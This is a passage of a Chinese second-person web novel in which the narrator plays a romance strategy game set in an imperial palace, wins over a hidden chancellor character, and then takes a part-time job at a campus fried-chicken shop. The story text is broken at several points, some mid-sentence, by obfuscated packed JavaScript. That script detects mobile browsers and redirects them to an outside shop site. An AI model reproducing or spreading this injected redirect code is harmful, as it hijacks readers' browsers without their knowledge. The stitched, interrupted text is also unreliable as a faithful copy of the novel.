l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127398|196147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的洛骁,他喜欢练武,热爱骑马,算命的说他日后或有披甲执印,安定乱邦的机遇,先帝称赞他马场驰骋时颇有其祖父雄风。这样一个火一般热烈的人,不应该会甘愿幽居在深宫中的。 “不为什么。”洛骁懒懒的往后一躺,“总之,我就是不想去。” “你不是一直喜欢练武么,到了军营里,不仅会有各种武器任你挑选,还会有人陪你切磋。” “我在宫里也有武器挑选,也有人陪练,不一定非要到军营里去。” “你不是还喜欢骑马吗?宫内四处都是限制,也没有场地供你策马奔腾,你到军营去,会少很多束缚。” 洛骁意识到不对了,你所说的每一句话,好像都在把他往外推,“皇上,你怎么突然想到要送我去军营了?” “我……”超乎意料的事情发展,让你一时间不知道该怎么解释才好,你只好反问,试图从洛骁的口中找到原由,“去军营难道不好么?” “好,能去军营,当然再好不过。但如果那里没有皇上在的话,我又去那里做什么呢?” 诶?诶诶? 你有点懵圈了。 你不在的话,去军营就没有意义。这话听着怎么有点恋爱脑的感觉? 他不是为了家族利益而进宫的吗,怎么现在倒反其道而行了。 “皇上,我的问题你还没回答。你为什么会突然想到要把我送到军营去。”洛骁带一点逼问的语气。 如果此刻你不是躲在洛霖身后,他真要把你抓到面前好好问一番了。 气氛一下变得有些紧张起来。 洛霖眉间微蹙,“洛骁,好好说话。” 洛骁哼了声,有点不服气,“我有在好好说话。” 你只好先将实情说出挡一波,“我想让你去军营,是因为近日有密报传来说,塞外有两个部落正暗地结盟,日后或有伺机进犯中原之心。自前威远侯去世后,朝中便再没有能带兵打仗的将领。恰好你喜欢习武,又精通马术,还是前威远侯嫡孙,身上流有他骁勇善战的血脉。你若能到军营里历练,不仅能为中原镇守边疆,还能重振威远侯府的威名。” 洛骁狐疑道:“皇上真是这么想的?” 你说得口水都要干了,他居然不信。 “当然是真的。”你肯定以及万分肯定的说。 洛骁沉默着没说话。 你心里打着鼓,不是吧,你都说到这份儿上了,他还在犹豫什么? 算了,他去不去的不重要,重要的是,你要更进一步表明真心。 你正打算继续开口说话,洛骁却赶在你开口前先说了。 “我不去。” 你脑子一下短路,或许是不明白为什么,为你说了这么多后,他仍是说不去。又或许是方才一番绞尽脑汁的对话,耗掉了你太多的脑细胞。 总之,在洛骁再一次说不去后,你竟脱口而出,“为什么不去?你和洛霖进宫,不就是抱着重振侯府的目的……”来的吗? 话说到后面,你卡住了。 完了。 你居然把这话说出来了。 27. 隐藏背后的人物 你不该这么说的。你不该……把这些话摆到明面上说的。 可是木已成舟,你的每一字一句都分毫不差的落入了洛骁耳中。 同时,也落入了洛霖的耳中。 洛骁面上迅速泛白,由白又至铁青,他眼中满是不可置信,又夹杂着受伤,“原来,你心里一直是这么看待我的?” 平衡仪中属于洛骁的那一端彻底失重。 “不是……”你百口莫辩,简直跳进黄河都洗不清了。 开头的脉脉温情早已不复存在,洛骁冷道:“外头的人是怎么嚼舌根的,我不是不知道。往日我总想着,别人怎么说便由他去说,我不需要向别人证明什么。可没想到,原来你也是这么想的。在你的眼里,我的一言一行,都是带着目的的。我的一腔情意,也都是虚情假意。” “我……” “可既然你都觉得我是为了侯府的利益而来,又为什么不处处提防我,继续与我虚与委蛇下去。做什么要给我去军营历练的机会,你难道就不怕有朝一日我手握兵权,会直接威胁你的皇位吗?” 不是,让洛骁去军营,明明是你为表真心的一个方法,怎么现在反倒成了一记回旋镖? 洛骁愤然离开,连挽回的机会都不留给你。 你看着他离去的背影,满是懊悔。 洛霖转身扶住你的肩膀,他为洛骁的行为解释道:“皇上,洛骁他只是一时情急,并非有意冒犯。” “我知道。”你捂脸。 洛霖拍了拍你的肩膀,过了好一会儿,才问你说:“皇上,不管你相不相信都好,洛骁进宫的原因并非你想的那样。他之所以会进宫,都是因为喜欢你。” 不关其他,只是因为喜欢,所以甘愿入宫。 因为喜欢,所以那个马上驰骋,火一般热烈的人,甘愿自折羽翼,来到这金丝打造的笼里,只为与你朝夕相处。 太……难以叫人相信了。 这种无脑桥段,估计只有在几十年前的古早小说里才会出现吧。 不,现在的重点不是桥段是否过于无脑。 而是,你恶意的揣度了一颗真正爱你的心。 被你重伤洛骁,或许在很长一段时间里,都不会原谅你了。 而你,却只有一天的时间让平衡仪重心回到中点。 这一轮游戏……你可能要面临失败了。 比起游戏失败,更抓你心的是洛骁那张失望又受伤的脸。 你都做了些什么啊…… 洛霖叹了口气,“皇上,是有谁跟你说了什么吗?” 你茫然的看着他,还没回过神来。 洛霖摸了摸你的发顶,说:“你登基的时间不久,于朝中并无势力根植,加之现在的朝政大权也不在你手中,是以边疆急报和培养将领一事,若非先经他人之手,你是无从得知,也无法决断的。” 其实就算你不说,洛霖也猜出来了,“和你说这件事的,是丞相吗?” 当今的朝政,是由方鸿渐代为管理的,而他又身兼太傅之职,平日里与你接触颇多。如果说,你能从谁口中得知这等机密要事,那必定是方鸿渐无疑了。 既然洛霖猜到,你也没什么好瞒着的,便点头说是。 你说:“是先生告诉我边关急报一事,也是先生告诉我,现今军中缺良将,洛骁是个可塑之才,或可投入营中以备战事。我……我以为将这事告诉洛骁后,他会很开心,也会知道,我对你们……是真心以待。” “可是,我搞砸了。我伤害了洛骁。” 洛霖拥你入怀,安慰道:“只要你好好同他解释,他不会怪你的。” 你抬眼望他,“我说了那样的话,他怎么会不怪我。” 洛霖笑了笑,“进宫之事,就算我二人说无私心,但这件事本身就是掺杂了私心的。你会有此一想,并不奇怪。再说,当时你只是无心之言,不是么。” “不。我不是无心之言,我是真这么想的。”或许现在顺着洛霖说的话去说自己确实不是故意的会更好,但你还是想更坦诚一些,“我听信了别人说的话,认为你俩就是因为利益,才会进皇宫来。” “就算你曾有误解,那现在我们不也说开了么?”洛霖将你抱紧,“只要我们把事情都说开,那误会便也不成误会了。” 你的一番坦诚,误打误撞让洛霖认识到了你的真心。 平衡仪四端中,洛霖这一端是稳下来了。 在洛霖温暖的怀抱里,你也慢慢回味出了一些事情。 先前玩游戏的时候,你总是习惯于从旁的人物中获取背景信息,这方法当然很好,也没问题,你借着这个方法闯关至今。这使得你认为,人物所说的话就是真正的故事背景,你对此从不曾有过怀疑,也不会觉得这些话背后会有什么动机。 这次,也是一样。 可也就是这次,游戏开始变得不一样了。 这一关里,你从方鸿渐口中得知了很多事情。 他告诉你,边关急报,军中缺将才后,又引出先帝与前威远侯间的利益纠纷,以及威远侯府现今的状况,跟你说洛霖、洛骁为何入宫。 他所说的桩桩件件都是真,但他说这些的真正目的不是单纯让你听个故事,而是离间你和洛霖、洛骁的关系。 或许……或许今天出现的这些状况,也都在他的预料之中。 满心认为洛霖、洛骁是为逐利而来的你,必定会对他们心生嫌隙。而人一旦怀抱了对某人的偏见,就算嘴上不说,也会在日常生活中无意识的表现出来。 一旦这件事没有像今天这样坦诚说开,那么,就算你们曾经如何亲密无间,这份亲密也终有一天会消磨殆尽。 至于让洛骁去军营,也并非是想培养他。泱泱国土,济济人才,不至于真的找不到一个总有将帅之才的人。就算真找不到,也不至于去找威远侯的儿子。 朝中的势力分配总是此消彼长,培养洛骁,就相当于给自己培养了一个政敌。方鸿渐明知如此,却还是这么做,无非是调虎离山。 就像支线任务里,他找林老求亲前,先找理由把小满支走一样。 那时他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127399|196147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 支走小满,是知道小满同萧玉珩要好,小满若是得知他向林老求亲,必定会到你面前百般央求,求你不要答应。 而现在他以培养为由支走洛骁,也是因为现在整个后宫中,你同他兄弟二人关系最为亲近。 一段过往离间人心,一个调离之举拉远距离。 他若无其事的品着茶,装作平静的与你对面交谈,都是为了掩藏一件事——把持着朝政大权,立于权利顶端的丞相大人,对自己一手推上皇位的傀儡,动了不该动的私心。 方鸿渐说过:“就算你的心能分成两半,我也想要一颗完整的。” 就算你现在有民间结发的丈夫,有无上宠爱的妃嫔,他也可以耐心等待,步步扫除障碍,直到……他能真正站到你身边的那一天。 方鸿渐,就是这一关中的隐藏人物。 这一关游戏,真正的重点并不在那些冗长复杂的权谋斗争中,这只是个障眼法,甚至这些所谓的权谋,在行家眼中只不过一个笑谈,根本经不起推敲。 这关的重点在于,你能否不受他人言论影响,能否拨开那些看似复杂的情节,找到隐藏背后的人物。 弄清原委的你,决定在仅剩的时间里再试一次。 或许,这次你不会失败。 你退出洛霖的怀抱,同他说你想去找洛骁把事情说清楚,洛霖欣然答应。 找到洛骁后,你向他说明了事情经过,诚挚的同他道歉,并表明自己之所以让他去军营,也是不想看到本应天上翱翔的雄鹰却折翅困在宫中。他应该有一个更肆意磊落的未来。 洛骁到底还是刀子嘴豆腐心,见你在他走后又立马追上来,还如此表明了一番真心,也就不在生气了。他相信你了。 而萧玉珩那边,你则是用了第二轮中的方法。有了前面的经验,这一趟你过得也很是顺畅。 现在,平衡仪明面标出人物的三端已经稳定了下来,而最后一端,原先标着的隐藏人物四字开始消散,逐渐显露出方鸿渐的名字。 就剩下方鸿渐了。 你只要再把他攻下,就能赢下这一关。 流云漫过巍峨宫阙,阳光遍洒琉璃瓦顶。 正午的日光下,一切都无所遁形。 而你,却要亲手揭开躲藏某个角落的那一片阴影。 御书房内,你与方鸿渐对面而坐。 方鸿渐轻轻一笑,对你说:“皇上放心,不论什么时候,臣都是与你站在一块的。” 你没有说话,只是默默为他面前空了的茶杯重新注满茶水。 方鸿渐看着你沉默的侧脸,忽地,伸出了手。 他伸手放到了你的手背,制止住你的动作。 “皇上,茶水已满,不必再倒了。” 他柔柔的掌心贴着你的手背,传递来的温度却是那样灼热。 你放下茶壶,回望他,对上他的视线。 “景行。” 高山仰止,景行行止。 这是方鸿渐为自己取的字,他曾告诉过你很多回,可你似乎很少这么叫他。 28. 新地图 方鸿渐呼吸一窒,面上却不见有动静。 说实话,此刻你心里也正打着鼓,“我听闻这是先生为自己取的字,很好听。” “不过是随便取的罢了。”方鸿渐说。 “便是随便取的也很好听。” 这对话似曾相识。 方鸿渐看向你,“皇上怎么突然说起臣的字来了?” 你也看向他,一鼓作气,“你方才与我说了很多,我听后,深觉这宫中的风云变幻,远不是我能够掌控的。我……我有些害怕。” 你目光盈盈,以弱者的口吻诉说着一个女儿家的心事。 是的,一个女儿家。 纵使你的身份是至高无上的皇帝,但手中没有实权,也不过就是个普通的女儿家罢了。 “你说,洛霖、洛骁是为了利益而来,那这整个皇宫,又有谁是真的全然无私呢。如今,我身为皇上,尚且还有值得利用的地方。改日,我若没了可用之处,便会落得个人人弃之如敝履的下场。若真到那时,我又该如何自处,我还有命能活着走出这京城吗。” 方鸿渐眉头轻蹙,“臣说过,不论什么时候,臣都会与皇上站在一块。” “沧海桑田不过转瞬,世间又有什么事情会是永恒不变的?你说不论什么时候,都会与我站在一块,你……是以怎样的身份站在我身旁的呢?是君臣,还是……” “皇上希望我以什么身份?” “丞相大人身居高位,手握权柄,似你这般聪明的人,难道真不明白我的意思么?自我被你从民间迎回皇宫的那一日起,我这个人,连同我的命运,便牢牢与你绑在一起了。” 方鸿渐抿着唇,面如沉水。 你来到方鸿渐面前,缓缓俯身在他唇上轻轻一吻,“我在寻求丞相大人的庇护。以一个女人的身份,向一个男人……寻求庇护。” 平静的水面终于泛起波澜。 天旋地转,一声惊呼,你被方鸿渐拽到了他的腿上,为了稳住身子,你下意识的将手搭在了他的肩膀。 这个姿势暧昧极了。 方鸿渐低声说着,“你知道你说的这些话意味着什么吗。” “我知道。”话由你口中说出,你怎么会不知道这是什么意思。 只要踏出这一步,自此君不君,臣不臣,再无回头路。 可那又怎么样,你要做的,是将他的心门叩开。 虽然你猜出了方鸿渐的心意,但若直接上来和他说我喜欢你这种话,恐怕他是不会信的。总要为这件事找个合理的理由。 方鸿渐的拇指擦过你的嘴唇,方才你便是这么吻了他,触感是那么的轻那么的柔,隐隐带着女儿家的芳香。他曾无数次的幻想过这个场景,可没有哪一次是比这次好的。 好到……叫人心醉神迷。 方鸿渐慢慢凑近你,你们的呼吸已交缠在一起,他却没了下一步动作。 你想将这近距离变为负距离,可方鸿渐在你贴近的前一刻,又往后退了一步。 “你对我,也是因为利吗?” 还未走到这一步时,他便暗地里算计好了你喜欢的每一个人,他原以为他要争的,是那个能与你并肩而站的位置。 真到了这一步,你真的来到了他的面前,他又忍不住去想,你的到来究竟是真情还是利益。他开始想在你心里占据一些位置了。 可谁都知道,这个问题不仅是贪得无厌的,更是愚笨的。 若你真说了你心里有他这种话,恐怕他也不会信。 方鸿渐选择你做皇帝是因为你的身份更好把控。 洛霖、洛骁选择入宫,是为了稳固侯府势力。 你选择向方鸿渐寻求庇护,是为了寻一个靠山。 这个圈中,有实际如此的,有只是表面现象的,也有是另有原因的,可如果只按照事情现有的状况来说,只要你们还是身处这个位置,就不可能不含半点利益关系。 所以…… “有必要分得这么清楚吗?”你说:“纯粹的爱,或纯粹的恨,总是容易因外力而产生质变。只有当我们出于一个利益共同体中,才会是真的谁也无法离开谁。” “景行,别想这么多。只要这一刻,我们是在一起的。” 方鸿渐似乎被你所说的打动了,你不知道此刻他是怎么想的,但至少,你再次吻他的时候,他没有拒绝。 至此,方鸿渐这个隐藏人物,也被你成功攻略了下来。 平衡仪的重心,终于由墙头草般风吹哪头倒哪头的情况,变成稳定的四边形。 你完成了任务。 这一关的顺利通过,让你的等级由Lv.14升到了Lv.16。 除了等级上升外,你还额外多得了四十金币,和一颗名为梦回还的游戏道具。 梦回还。 这名字起得倒是雅致,是用来做什么的? 你点开道具查看,只见道具信息栏中写了一句非常简短的话,可令往事重现。 嗯……令往事重现? 你暂时想不到有什么地方会用到它。 另外,等级升至Lv.15之后,游戏便会自动展开新地图供你选择。 这个新地图倒是很有意思,它不是让你从一个地方跳到另一个地方,而是以翻页划动的方式,让你选择一个新的故事背景。 现在你玩的这个地图就是普通的古代背景,但升级之后,你就多了很多选择,你可以选玄幻、仙侠、志怪、武侠、悬疑等等。 对于这个,你还是很感兴趣的。 新的故事背景,就等于新的任务体系和新的挑战。 你的挑选十分谨慎,因为新地图挑选在每个阶段的难度是不同的。 现在你还是游戏初期,只需要到Lv.15就能有一次选地图的机会。 等到后面,你就得到Lv.35才能选了。再到后面就是Lv.60,Lv.100……总之,越往后越难。 而游戏给出的这些故事背景,每一个都很戳你,因此在做选择的时候,你心情是很纠结的。更别说你本身就是个选择困难户。 挑选来挑选去,最终,你把目光锁定在了仙侠和志怪这两个上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127400|196147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又经过一番反复横跳后,你选择了志怪。 至于为什么选志怪……大概是因为你人菜瘾大吧。 你是个看开心鬼都会做噩梦的人,玩志怪这个故事背景肯定会很刺激。 选定好新地图后,你并不打算立刻就玩。 刚才那一关游戏就跟绕圈子一样,让你绕了一圈又一圈,你玩得实在有些头疼,还是先退出游戏缓一缓,等缓过来了,你再来试试这个新地图。 *** 砚:步行街最近新开了一家麻辣烫,我去试过了,还挺好吃的,特别是他们家的辣椒做得特别香。你和你舍友要是不知道吃什么的话,可以试试这个。 砚是沈砚川的微信名称,自从你们上次说开之后,沈砚川就像打开了什么禁制一样,跟你说话也不再拘谨了,还每天都发很多条信息来跟你聊天。 他发的信息里,内容多到不重样,像今天这样介绍好吃的是其中一种,除此外,他连平时打球、上课、玩游戏,甚至舍友的八卦都跟你分享。 他简直恨不得把自己的所有都一一展现在你眼前,好让你将他了解个彻底。 小春:我都不知道步行街开了新店,他们家能点外卖吗? 砚:能,我发你看看。 沈砚川随后把店铺给你推了过来。 小春:行,刚好也到饭点了,我问问我舍友要不要一起点。 说是这么说,其实你没真点,也没跟舍友说。 你点开沈砚川推的那家店看了,菜品还挺丰富的,汤底选择也挺多,就是价格有点贵,一份50g的青菜就要三块五,更别说那些什么豆制品、丸子、肉类了。 你试着点了几样,还是尽量挑便宜的选,你感觉都没点什么,价格就要到二十块钱了,再加个汤底和打包费,你吃这顿饭起码得二十五。 在看到这个价格后,你当即就退出了这家店。 与其花二十五吃顿麻辣烫,不如花一半不到的价钱去吃拼好饭,反正都能填饱肚子。 你家里不是很有钱,但也不是很穷,只能说是刚好供得起生活开支和你的学费、生活费。你平时也不是真就舍不得吃一点贵的,事实上,跨年过节的时候,你也有跟舍友一起出去吃过饭。 但大多数没有什么特别原因的情况下,你还是能省则省的。 经过这段日子的认识下来,你觉得沈砚川还是挺有钱的,别的不说,就上次那顿烧烤都花了不少。 听陈念禾后面说,那次的饭钱是沈砚川一个人出的。张汶想着是他有求于人,私底下去找沈砚川,问他那顿饭多少钱,算他请客好了。但沈砚川拒绝了,张汶又发了五百块钱红包过去,他也一样没收。 沈砚川这人吧,有颜有钱,还是个学霸,性格又好,可以说是方方面面都叫人挑不出差错。 像这样的人,如果不是他先主动来找你搭话的话,你是不会主动去跟他有什么交集的。就算他坐在你旁边,像个240瓦的大灯泡一样耀眼,你也能做到始终目视前方,不受影响。 太完美的人,总是容易让人产生距离感。 29. 兼职 “哈哈哈!” 许曼婷举着个镜子从阳台蹦进来,还把镜子拿到每个人眼前过一遍。 陈念禾一脸嫌弃,“你镜子是八百年没擦过了吗,怎么这上头白花花的一片。” 邹柠也看了,“这不像脏了的样子,看着还有点眼熟啊。” 许曼婷一脸得意,“你们肯定猜不到这是什么。” 许曼婷拿到你面前,你仔细看了又看,“我……怎么感觉,好像,有点像头皮屑?” 许曼婷震惊,“你怎么看出来的?” 陈念禾更震惊,“这居然真是头皮屑?” 随后就是尖叫,“许曼婷你有病啊啊啊!干嘛拿一堆头皮屑过来给人家看!” 许曼婷嘿嘿说:“我刚才在外面梳头发,梳着梳着低头一看,发现阳光下我的头皮就跟雪花一样飞舞,我就越梳越起劲儿,不到十分钟,镜子上就飘了满满一层。怎么样,厉害吧?” 邹柠无语了,“这到底厉害在哪里?” 陈念禾看她洋洋自夸的样子,越看火越大,“我今天就要把你狗头拧下来,让你知道什么叫做厉害!” 陈念禾张牙舞爪跑来要抓许曼婷,许曼婷眼疾手快躲到你身后,你被当做了挡箭牌。 “出来!”陈念禾呕吼,“我不给你点颜色看看,你就不知道花儿为什么这么红!” 许曼婷略略略,“我又不是色盲,用不着你给我颜色看。” 陈念禾见完全说不动这家伙,转而对你说:“春儿,起开!” 你倒是想走啊,可许曼婷死死抱着你不放,她那一镜子的头皮屑还怼在你面前,你连呼吸都不敢用力。 真是城门失火,殃及池鱼。 你心如死灰,“柠柠,快来救我。” 邹柠没办法,只好过来劝架。 邹柠是你们宿舍个子最高的,她有一米七,一到陈念禾身后,两人个子一比较起来,她就高出了陈念禾一个头。 邹柠拉住陈念禾,“好啦,再吵下去待会儿隔壁宿舍的又来投诉了。” 陈念禾冷哼。 邹柠又对藏在你身后的许曼婷说:“曼婷你也是,没事干嘛拿头皮屑给人看,你又不是不知道念禾有点洁癖。” 许曼婷也意识到了自己的错误,老老实实站了出来,“好啦,是我不对。” 陈念禾把头撇过去,不理她。 许曼婷试探着说:“要不然,我请你们吃鸡米花好不好?就我们宿舍旁边那个饭堂的炸鸡店,上次他们做活动,送了一张半价的大桶鸡米花券给我。” 陈念禾终于消了点气,“我还要可乐。” 许曼婷一见有戏,忙不迭道:“好好好,我请你们喝大杯的。” 邹柠笑了,“我不喝可乐,我要芬达。” “可乐芬达雪碧都行,你们想喝什么就喝什么!”许曼婷有求必应。 “这次就先放过你。”陈念禾大步走来,一把拽住许曼婷。 许曼婷吓得炸毛,“禾老板你干嘛!我都道歉了你不会还要打我吧!” 陈念禾翻了个大白眼,“我打你个大头鬼!头上这么多头皮,你受得了我都受不了,赶紧过来我给你洗头!” “嗷!” 陈念禾拽着许曼婷到浴室洗头去了,买鸡米花的任务就落到了你和邹柠身上。 你俩相视一笑,眼中皆是无奈。 饭堂不远,就在你们宿舍旁边,从下楼到走过去用时不到十分钟。 许曼婷说的那家店不是什么连锁品牌,就是私人开的普通炸鸡店,不过他们家做的东西还可以,价格也挺便宜的,所以有时候下课回来不知道吃什么的时候,你们就会到这家去吃。 今天人有点多,你和邹柠来到炸鸡店的时候,里面的位置已经坐满了。 点完单后,你们就在外面站着等餐。 邹柠的手随意的搭在你肩上,神情闲适。 你悄悄打量着邹柠,她不算非常好看的类型,却自有一种慵懒随性的特质。这种特质体现在各方面,就比如穿着打扮上吧。 邹柠剪着一头狼尾,这种发型近年来还挺火的,不论男女很多都喜欢剪这种头发,但真正能剪好看的却很少。隔壁班就有个男生剪这发型,还染了一头黄毛,从背后看过去活像个扫帚。 邹柠就不同了,她留这种发型,搭配上瘦瘦的脸型和高挑的身材,加上她素日来喜欢穿的oversize风格衣服,再配上一副漫不经心的表情,整个人看上去颇有颓丧。 可以说,如果有人看到邹柠第一眼没有被吸引住的话,那么第二眼,绝对会忍不住将目光停留在她身上。 你内心其实非常羡慕邹柠,你被她身上的这种特质深深吸引,你甚至学过她。还记得有次,你特地到网上买了件大码美式T恤,想走一波邹柠的慵懒随性风。 结果并不尽人意,大码溜肩的上衣套在你身上,不仅没有穿出邹柠那种感觉,还让你整个人在视觉上矮了两公分,显得上半身更壮实了。许曼婷看见后,还问你是不是买错了尺码。 你说是,却没把衣服退掉,而是把它深深藏在了衣柜里。 “小春。” 邹柠忽然凑近你,她的脸在你面前数倍放大。 你吓了一跳,“怎么了?” 邹柠眨眨眼,“你一直看着我干嘛?” 你刚刚居然盯着邹柠看到忘了神。 “诶,还脸红了。”邹柠眨眨眼,睫毛像小扇子一般上下扑闪,“你刚刚看着我是在想什么吗?” “没有。”你拧过头,不敢看她。 邹柠脸上扬起笑容,她笑的时候很好看,牙齿洁白,眉眼弯弯,“你该不会是觉得我很帅,所以一直盯着我看吧?” 诶,怎么被猜中了? “不说话,我当你默认了啊。” 你羞涩的点点头,“嗯。” 你承认了。 邹柠倒吃了一惊,“真的啊?” “真的。”你说。 邹柠哈哈大笑,“那我得谢谢你了,头一次有人会觉得我帅。” “你本来就好看。”你把目光飘到别处,“……招聘临时工?” “什么?” 你拽了拽邹柠衣角,指着炸鸡店门口的一块广告牌,“你看,他们家在招临时工。” 邹柠眯了眯眼睛,她看得不大真切,便索性直接拉着你走过去看了。 广告牌上贴着一张打印纸,上头写着:本店生意繁忙,现招聘一名临时工,负责店内外卖打包工作,工资十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127401|196147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五元一小时。有意者店内咨询老板。 邹柠摸摸下巴,“这家店生意可以啊,都忙到要请人的地步了。” 你嗯了一声。 邹柠扭头看你,“小春,你想应聘吗?” 你确实想。 十五块钱一小时,工作两小时就三十块,三小时就四十五,这样的话,你能赚到一天的饭钱了。 可是…… “她才招一个人,我应该不行吧……”你有点纠结,“再说了,也不知道这张招聘内容在这贴多久了,说不定他们已经招到人了呢。” “招没招到,去问问不就知道了?” 邹柠是个行动派,压根儿不管你纠结与否,你想去,她就拉着你到前台去问。 前台忙活着的就是这家店的老板,她忙里抽闲瞥了你们一眼,“你们俩是谁要应聘呀?” “她。”邹柠把你往前一推。 你急得汗都出来了,紧张的说:“呃,老板你好,是我。我刚刚看到了你贴在外面的招聘信息,就想过来问问你们还招不招人。” 老板噗的一声笑了出来,“还招呢。不过我们这儿招的不是长期兼职,是临时的,也就是忙的时候才会叫你过来帮忙,不忙的话不会叫你。你看你能接受不。” “可以可以。” “你现在大几了?平时课程多不?” “大二了,我们现在课不是很多。你叫我的话我应该都是有空的。”你顿了顿,又憋出一句,“我做事很勤快的,不会偷懒的。” 老板将你上下打量了一番,似乎在考虑。 鉴于你以往屡试屡败的面试经验,你以为这次不出意外的话肯定也黄了。 没想到,这次你居然成功了。 老板跟你说,“那行吧,你加我微信吧,以后我有需要就叫你来帮忙。” 你喜出望外,忙加了老板微信。 成功面试上这份兼职,让你拿了外卖走回去的时候,脸上都是笑着的。 邹柠打趣你,“这么开心啊?” 你用力点头,“还得谢谢你,要不是你拉着我,我一个人肯定不敢去问。” “这有什么的。再说了,你能成功面上,是你自己努力的成果。我只是帮你开了个头而已。” “那也得谢谢你。等我拿了第一份工资,我请你喝奶茶吧?” “不用啦,客气什么。”邹柠搂着你,“你一小时才十五块,赚的都是血汗钱啊,要请我喝奶茶的话,一杯便宜的都七八块了。我喝你的奶茶,我会心疼死的。” 你不好意思的笑了。 “好啦,赶紧回去吧,念禾和曼婷她俩估计也弄好了。” “好。” 回去之后,你把面试上炸鸡店兼职这个消息告诉了陈念禾和许曼婷,她俩都为你感到高兴,尤其是许曼婷,还撺掇着你以后从店里拿些免费的鸡米花、薯条回来吃。 许曼婷一说出这句话,就被陈念禾敲了一脑瓜子,“人小春都还没上班呢,你就让她给你带吃的了,你嘴就这么馋吗。” 许曼婷顶着一头湿漉漉的头发,嘟囔着说:“人家只是说说而已嘛,这么认真干嘛。” “说说也不行!”陈念禾斩钉截铁。 “行叭行叭。” 30. 宵夜 晚上,沈砚川照例来找你聊天。 你想了一想,把炸鸡店兼职的消息也告诉了他。 沈砚川先是恭喜了你,随后又问是哪家炸鸡店。 你说就你们宿舍旁边饭堂的那家,在一楼正门口那里。 砚:噢,我知道是哪里了。我以前也去吃过,味道还可以。 沈砚川问得这么详细,让你后知后觉的想到个问题,你很认真的同他说:你可千万别特地跑过来看我打工啊。 沈砚川发了个笑脸表情包给你,说:怎么会呢。 你不信。 砚:就这么怕我过去看你啊? 小春:我才不是怕,就是觉得尴尬。 砚:这有什么尴尬的。 小春:反正你别来就好了。 砚:好吧。反正我也不知道你什么时候会过去打工,不是么。 好像也是。 炸鸡店老板是忙的时候才会叫你过去,沈砚川是不知道老板什么时候忙,什么时候不忙的。他总不会天天往你这边溜达一圈,就为了看你有没有在店里打工吧。 砚:[可怜][可怜]你这么防着我,我都要伤心了。 小春:[汗颜] 砚:好啦,不逗你了。 砚:对了,你平时看不看哔哩哔哩的?我有会员你要不要? 小春:我平时会在上面看看动漫,你还充会员了? 砚:[得意]是啊,我充了一年呢。我把我手机号给你,你登着看吧。 小春:不好吧。 砚:这有什么不好的,反正充会员也是用来看的,看的人多些我还觉得我这钱没白花呢。 小春:诶,那好吧,谢谢你了。 砚:没事。你登录了以后,我还能知道你平时都喜欢看哪类内容呢。这样的话,我感觉自己能更加了解你。 你这下真汗颜了。 你平时喜欢看什么啊…… 想想那些内容,嘶,忽然不是很敢用他的会员了。 你原以为成功面试上炸鸡店兼职后,老板会过个几天才让你去店里,没想到第二天一早你就收到了老板的信息,她问你下午有没有空,如果有的话就四点钟过去。 你下午刚好没课,便忙不迭的答应了。 下午四点钟不到,你就到了店里。 老板见你来了,还有点惊讶,“还有十来分钟才到时间呢,你怎么这么早就过来了?” 你挠了挠头说:“第一次上班,我怕迟到,就早点来了。” 老板笑说:“你怎么这么老实呀妹妹。” 你不好意思的笑笑。 老板转身给你打了一杯可乐,“时间还没到,你就先坐会儿吧。” “好的。” “你叫小春?” “是的。” “这名字挺好听的。” “谢谢老板。” “别叫我老板了,喊我陈姐吧。” “好的,陈姐。” 这问一句答一句的对话把陈姐逗笑了,“妹妹,有男朋友没有?” 你说:“还没呢。” “那你得当心了,像你这种软性子的女孩,很容易被人欺负的。” “还好吧……”你打哈哈。 陈姐是个十分健谈的人,你和她说话开始的时候还有些放不开,后面慢慢的也大起胆子来了。 到点以后,陈姐就让你先打可乐,打完之后就把可乐包装好放冰箱去。现在还没到饭点,但再过一个半小时左右,学生们都下课了,订单就会一点点多起来。 装完可乐后,陈姐又教你看单子打包,这工作不是很难,加上陈姐还会时不时地跟你聊天,时间很快就过去了。 这一天你工作到六点,上了两小时班,赚了三十块钱。 回去的时候,陈姐从厨房里打包了一包鸡米花一包薯条给你,她还问你要不要汉堡,你受宠若惊,忙推脱说不用了,有这些就很够了。 陈姐听完,立马又塞了你两个汉堡,“别客气,就当工作餐。” 第一天兼职,你可以说是满载而归。 回去后,你留了一个汉堡给自己,其他的都给舍友分了。 许曼婷一边吃一边感慨,说如果店里以后还招人的话,把她第一个推过去。 你笑着说好。 